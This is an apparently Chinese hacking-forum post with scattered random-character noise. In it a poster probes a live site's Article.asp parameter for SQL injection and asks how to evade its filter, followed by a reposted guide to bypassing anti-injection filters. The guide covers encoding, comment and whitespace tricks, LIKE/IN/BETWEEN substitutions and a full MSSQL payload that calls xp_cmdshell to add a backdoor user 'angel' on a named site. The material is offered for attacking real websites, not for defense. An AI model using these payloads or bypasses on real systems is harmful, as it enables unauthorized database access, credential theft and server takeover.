路过这个网站,检测了一下." A; w. w$ @/ |( }% S
http://www.xxx.cn/Article.asp?ID=117 and 1=1! r( j1 j/ M2 S# h
直接返回主页
/ O$ A1 A# B# }1 W, [% Chttp://www.xxx.cn/Article.asp?ID=117 or 1=1
- X7 I! ^, s$ r. e- H% z直接返回主页3 Y9 l* k4 y! Z2 W3 a, d
http://www.xxx.cn/Article.asp?ID=117 or: G" ^% p) x7 v ~
没有返回主页 没有过滤or
0 m" n% b h' k$ g6 l5 Hhttp://www.xxx.cn/Article.asp?ID=117 and
/ O5 @8 R" H f- t1 t直接返回主页 看来过滤了and
4 c$ Y0 l3 a& f7 c; \# F6 mhttp://www.xxx.cn/Article.asp?ID=117 or 18 Q2 v: k7 I5 `( n8 g
没有返回主页 即没有过滤or 也没有过滤1% @" X0 N9 R; n
http://www.xxx.cn/Article.asp?ID=117 or 1=12 k M3 A6 X. A) {+ ~
直接返回主页 很明显过滤了等号 1 V/ _# P: [) G
or的特性是与and相反的.+ g4 o. }, O/ N: q
or 1=1 爆错 或与原页面不同& s8 A s5 K( ?! L" n$ M( g" }
or 1=2 原页面相同6 w1 o9 l C" S v
这样就是一个注入点3 U# U$ h% L1 W. h/ _
但他过滤了=号 我就用><号代替=号吧!0 e1 w' O/ ]( X2 A' k
or 1<2 很明显是正确的,所以应该与原页面不同
5 v3 h4 m3 H1 k# N& i* xor 1>2 很明显是错误的,所以应该与原页面相同
# ]% ?3 d: p; z$ A% _1 E然后看看有没有过滤其他的查询语句,比如select.0 N; z" k# w* ?) o' L& g+ _
http://www.xxx.cn/Article.asp?ID=117 select
. G7 T- B7 u! C直接返回主页- U1 e# {$ B# ~
又迷茫了..0 U. Y3 v* `- h1 e0 Z
! o B9 ?4 [% J8 d9 q* ^
9 P% ^* n! p1 H! [2 W3 M! Kcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
) J& r/ m3 a, ^( P, d+ `% Q+ Y6 L这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)5 R* C$ Q: l1 f* n1 a
================================================, d) x7 L' a% Z7 Q4 U
以下是转贴:
9 J5 r, P( w! |; t& Y0 G. H' q
# \6 u/ h) H/ P6 H) D6 j突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
! _* T: d( i* z经过我的收集,大部分的防注入程序都过滤了以下关键字:
3 @0 M1 M$ ~" E$ k- b( ^and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = : w# D$ S- p0 c
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 ) A8 Q( n! ~ p# T$ C
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
( r/ ^7 J4 k4 U1、运用编码技术绕过
( W+ B! N* n$ R& V1 S% i; i如URLEncode编码,ASCII编码绕过。例如or 1=1即
0 h- h2 K" O. o9 W4 y1 H5 ?%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 0 y9 k) Q' v9 h, u$ ^3 z
% Q& t/ I3 g1 F5 Y6 S, n3 p
2、通过空格绕过 $ S7 \# j; v1 I# X& W
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ' g7 ?0 J7 ~* y
or’ swords’ =‘swords’ ( C: c2 m; |9 h* ]/ D2 m4 T d
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
" x' N" @# a+ W8 I" p3、运用字符串判断代替 5 [3 i- K8 n9 W+ q% t
用经典的or 1=1判断绕过,如
- F! F6 [. q# v5 Vor ’swords’ =’swords’ ; P/ s3 w2 [$ m! u) X7 {
,这个方法就是网上在讨论的。 5 b$ L2 ^; h b+ ?
4、通过类型转换修饰符N绕过
1 I5 C0 K% O' N- \: o1 X1 u( E可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 3 X( q8 a, q1 G% O7 J
5、通过+号拆解字符串绕过
4 v! q0 T. k1 X% C- T5 X+ Q3 @效果值得考证,但毕竟是一种方法。如
; |1 Q' y4 r( g7 `. e. xor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) - @1 |( m3 X! D! f8 R5 ^
) Z+ L8 B- r# Z2 y. z6、通过LIKE绕过
8 s: w3 a. w& G' J1 ]以前怎么就没想到呢?如or
: [7 B" `3 I, l& _7 L+ [’swords’ LIKE ’sw’ ( O, e- V; E5 n+ |* y) S; v
!!!显然可以很轻松的绕过
7 P, Q/ S( [4 }) `7 B: D, L" ? A“=”“>”
8 w0 Z0 {$ j% ^ y3 c: ~的限制…… & J, D( N2 W) U
7、通过IN绕过 $ D4 A& ^8 ~7 y# Q& N) a8 i
与上面的LIKE的思路差不多,如
! h$ L1 B8 U+ l g" h( h" W/ ~% I% Q3 ?or ’swords’ IN (’swords’) ( m! [7 N: o8 B7 U
, Q7 L. f- a2 R0 L, @8、通过BETWEEN绕过 ( }* h6 ?$ p4 C+ D
如 ; ~: ~( t. `1 {- L, [8 \
or ’swords’ BETWEEN ’rw’ AND ’tw’
- O6 R7 |* p0 L6 E; y( s( l9 ?( G0 y" i4 t$ X( Q
9、通过>或者<绕过 ~9 g8 R+ o0 t6 M
or ’swords’ > ’sw’ * x* X9 o$ b% N
or ’swords’ < ’tw’
, W2 L" q9 Z* j2 b' H7 N: p( c* aor 1<3
3 E4 T2 s' d, s9 @4 [+ g1 ]……
0 U$ f6 X) }* Z! c* ^" q10、运用注释语句绕过 " n& T) H! z+ ^
用/**/代替空格,如:
! ~$ P* d( C8 y2 H# Z# z V& H |UNION /**/ Select /**/user,pwd,from tbluser / b3 Q4 o5 f" z: y! m0 |' ~) o( |
$ Q0 P/ V5 i3 U# S" i+ }用/**/分割敏感词,如:
( g( E' b+ z' A- R& O1 d; |' p4 C/ NU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser o$ D$ Q* U9 Q6 {8 T
+ d' K5 r( Y* g" b3 r3 V. @$ B11、用HEX绕过,一般的IDS都无法检测出来
4 b6 _% p. n6 Z$ a4 l& ]0x730079007300610064006D0069006E00 =hex(sysadmin)
) L1 R3 @- E. h. \0x640062005F006F0077006E0065007200 =hex(db_owner)
8 s1 _& c @8 E: {' f$ H另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
0 \% Y5 P8 b7 n1 K declare @a sysname : Y9 z5 K/ P' O2 D+ {
select @a=
+ b5 V, f8 Z& F: S exec master.dbo.xp_cmdshell @a 5 b& S' U% e% m+ T e& |2 c& m$ ~
效果
7 O( U. y% H2 K' ?0 ]http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
' J. S9 W$ F4 W& N6 K. z) u
+ c: s0 X; n, a- o& u0 I其中的
6 A# f! ~; P5 F/ H0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 & t) q+ |/ N' k. F P
就是 2 Q! ~2 |5 F3 C# U7 P$ J! L
“net user angel pass /add”1 ?, t& d i6 P0 X8 P Y1 t
1 \/ W! |; ~4 @. C5 ?2 l
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
2 ?; _* {3 m; u8 P- d引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
! Y. y2 H% @* _( R另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
" m6 ^8 a. b/ f! F3 h8 ?Copy code) n, ~' a) [; Z& ?' K
select * from table exec xp_cmdshell'xxxxxxxxxx'/ T9 Z% I& X; V2 C7 c, {4 _
: q- d! `& M% O$ r& b1 Q
1 k2 N5 V9 g/ n5 B
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
: H( y5 i3 n" L- c+ G9 }+ ~$ t! Q! R& G3 q9 L& Q3 {9 R
5 k$ y) o$ `& ^: S* Kselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'" i% G% x" M& |$ w% h# }
& Q; J# H* x4 W: E, q
0 K. K; r5 g3 f, ] u6 u3 ?
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'/ G$ B% e9 y2 q# b- W* l
! @# c4 h& ^* K; r8 z
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
0 X1 d5 T- d4 T4 k" O6 O! b4 _" l, V
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
3 M1 f- n( B, f: t可能大家早就知道了,不管怎么说,发在这里吧!- c' ]% z8 u0 V. e5 f
2 x1 w @- u- |* u
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
0 W" s6 a$ V/ \* t6 A$ c, ]) @9 { o0 N2 [3 D+ k: ] }) z) e" f* n
' H5 l5 U7 E5 N% \4 Z
; _; r+ j! n# q7 A5 r7 {/ N3 e
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
0 f3 K6 J# [1 D$ G1 O比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
5 }9 f) a5 \) D/ F$ h3 D
; y! j" E: o) y* j |